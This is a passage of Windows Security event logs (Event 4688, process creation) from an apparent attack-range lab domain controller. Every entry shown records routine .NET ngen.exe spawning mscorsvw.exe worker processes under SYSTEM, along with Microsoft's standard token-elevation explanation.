is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254409 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 434 -InterruptEvent 0 -NGENProcess 4b0 -Pipe 488 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254418 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe64 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 438 -InterruptEvent 0 -NGENProcess 4bc -Pipe 4d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254417 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8a4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4d4 -InterruptEvent 0 -NGENProcess 404 -Pipe 4c4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254416 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x578 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4c4 -InterruptEvent 0 -NGENProcess 4d4 -Pipe 4b0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254415 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1288 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4b0 -InterruptEvent 0 -NGENProcess 4c4 -Pipe 498 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254414 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd2c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 498 -InterruptEvent 0 -NGENProcess 4b0 -Pipe 1e0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254429 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 430 -InterruptEvent 0 -NGENProcess 4f4 -Pipe 4e4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254428 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x136c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4e4 -InterruptEvent 0 -NGENProcess 430 -Pipe 41c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254427 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe70 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 41c -InterruptEvent 0 -NGENProcess 4e4 -Pipe 4b8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254426 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x374 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 47c -InterruptEvent 0 -NGENProcess 4c8 -Pipe 484 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254425 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9dc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 484 -InterruptEvent 0 -NGENProcess 47c -Pipe 4b4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254424 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf9c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4b4 -InterruptEvent 0 -NGENProcess 484 -Pipe 424 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254423 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf90 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 424 -InterruptEvent 0 -NGENProcess 4b4 -Pipe 404 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254422 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb40 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 404 -InterruptEvent 0 -NGENProcess 424 -Pipe 478 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254421 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x938 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 478 -InterruptEvent 0 -NGENProcess 404 -Pipe 4ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254420 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x58c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4ac -InterruptEvent 0 -NGENProcess 478 -Pipe 4d4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:51 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254419 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4d4 -InterruptEvent 0 -NGENProcess 4ac -Pipe 4bc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254439 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11b4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 53c -InterruptEvent 0 -NGENProcess 42c -Pipe 528 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local 